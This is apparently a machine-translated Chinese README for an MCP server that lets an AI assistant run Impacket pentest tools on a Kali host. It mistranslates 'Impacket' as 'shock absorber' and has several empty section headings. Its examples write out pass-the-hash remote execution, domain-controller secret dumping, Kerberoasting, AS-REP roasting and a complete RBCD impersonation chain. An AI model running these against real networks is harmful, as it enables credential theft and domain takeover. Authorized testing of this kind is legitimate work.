Sec Impacket MCP

Impacket MCP服务器

   

一种模型上下文协议（MCP）服务器，提供对以下内容的访问 减震器 通过SSH将网络协议工具连接到Kali Linux主机。这使AI助手能够执行授权的渗透测试和Active Directory安全评估。

概述

此MCP服务器封装了Impacket的全套网络协议工具，提供：

• 远程执行：PsExec、WMIExec、SMBExec、DCOMExec、ATExec
• 凭证攻击：SecretsDump、AS-REP烘焙、Kerberoasting、LAPS
• Kerberos工具：TGT/TGS请求，金/银票创建
• 活动目录：用户/计算机枚举、委派攻击、RBCD
• SMB/网络：SMB客户端、NTLM中继、注册表操作、服务管理
• 数据库：支持xp_cmdshell的MSSQL客户端

先决条件

• Node.js 18+使用npm
• SSH访问 使用无密码密钥身份验证连接到Kali Linux主机
• 减震器 安装在Kali主机上（预装在Kali Linux上）

安装

# Clone the repository
git clone https://github.com/schwarztim/sec-impacket-mcp.git
cd sec-impacket-mcp

# Install dependencies
npm install

# Build the project
npm run build

配置

环境变量

SSH设置

确保对Kali主机的无密码SSH访问：

# Generate SSH key if needed
ssh-keygen -t ed25519 -C "mcp-impacket"

# Copy to Kali host
ssh-copy-id kali

# Verify connection
ssh kali "impacket-psexec --help"

Claude桌面集成

添加到您的Claude Desktop配置(~/.config/claude/claude_desktop_config.json):

{
  "mcpServers": {
    "impacket": {
      "command": "node",
      "args": ["/path/to/sec-impacket-mcp/dist/index.js"],
      "env": {
        "KALI_HOST": "kali"
      }
    }
  }
}

可用工具

远程执行

凭证攻击

Kerberos工具

活动目录

SMB/网络

其他

身份验证方法

所有工具都支持多种身份验证方法：

使用示例

远程命令执行

// PsExec with password authentication
impacket_psexec({
  target: "192.168.1.100",
  domain: "CORP",
  username: "admin",
  password: "P@ssw0rd",
  command: "whoami /all"
})

// WMIExec with NTLM hash (pass-the-hash)
impacket_wmiexec({
  target: "192.168.1.100",
  domain: "CORP",
  username: "admin",
  hashes: "aad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0",
  command: "ipconfig /all"
})

凭证转储

// Dump domain controller secrets
impacket_secretsdump({
  target: "dc01.corp.local",
  domain: "CORP",
  username: "admin",
  password: "P@ssw0rd",
  just_dc_ntlm: true
})

// Dump specific user from NTDS
impacket_secretsdump({
  target: "dc01.corp.local",
  domain: "CORP",
  username: "admin",
  hashes: "aad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0",
  just_dc_user: "krbtgt"
})

Kerberos攻击

// Kerberoasting - request TGS for offline cracking
impacket_getuserspns({
  target: "corp.local",
  domain: "CORP",
  username: "user",
  password: "password",
  dc_ip: "192.168.1.1",
  request: true,
  format: "hashcat"
})

// AS-REP Roasting - find vulnerable accounts
impacket_getnpusers({
  target: "corp.local",
  dc_ip: "192.168.1.1",
  usersfile: "/tmp/users.txt",
  request: true,
  format: "hashcat"
})

// Request TGT for pass-the-ticket
impacket_gettgt({
  target: "CORP/admin",
  password: "P@ssw0rd",
  dc_ip: "192.168.1.1"
})

Active Directory枚举

// Enumerate all domain users
impacket_getadusers({
  target: "corp.local",
  domain: "CORP",
  username: "user",
  password: "password",
  dc_ip: "192.168.1.1",
  all: true
})

// Find delegation vulnerabilities
impacket_finddelegation({
  target: "corp.local",
  domain: "CORP",
  username: "user",
  password: "password",
  dc_ip: "192.168.1.1"
})

// SID enumeration for reconnaissance
impacket_lookupsid({
  target: "192.168.1.1",
  domain: "CORP",
  username: "guest",
  password: "",
  max_rid: 5000
})

RBCD攻击链

// 1. Add a computer account
impacket_addcomputer({
  target: "corp.local",
  domain: "CORP",
  username: "user",
  password: "password",
  dc_ip: "192.168.1.1",
  computer_name: "EVIL$",
  computer_pass: "Computer123!"
})

// 2. Configure RBCD on target
impacket_rbcd({
  target: "corp.local",
  domain: "CORP",
  username: "user",
  password: "password",
  dc_ip: "192.168.1.1",
  delegate_to: "TARGET-SERVER$",
  delegate_from: "EVIL$",
  action: "write"
})

// 3. Request service ticket with impersonation
impacket_getst({
  target: "CORP/EVIL$",
  password: "Computer123!",
  spn: "cifs/TARGET-SERVER.corp.local",
  dc_ip: "192.168.1.1",
  impersonate: "administrator"
})

安全考虑

此工具仅用于授权的安全测试。

• 测试前始终获得适当的授权
• 尽可能在隔离的实验室环境中使用
• 遵循负责任的披露做法
• 遵守所有适用的法律法规

发展

# Install dependencies
npm install

# Build TypeScript
npm run build

# Watch mode for development
npm run dev

相关项目

• 减震器 -底层网络协议库
• 模型上下文协议 -MCP规范
• Kali Linux -渗透测试分布

许可证

MIT许可证-请参阅 许可证 了解详情。

免责声明

此软件仅用于教育和授权的安全测试目的。作者不对该软件造成的任何误用或损坏负责。在进行任何安全评估之前，始终确保您有适当的授权。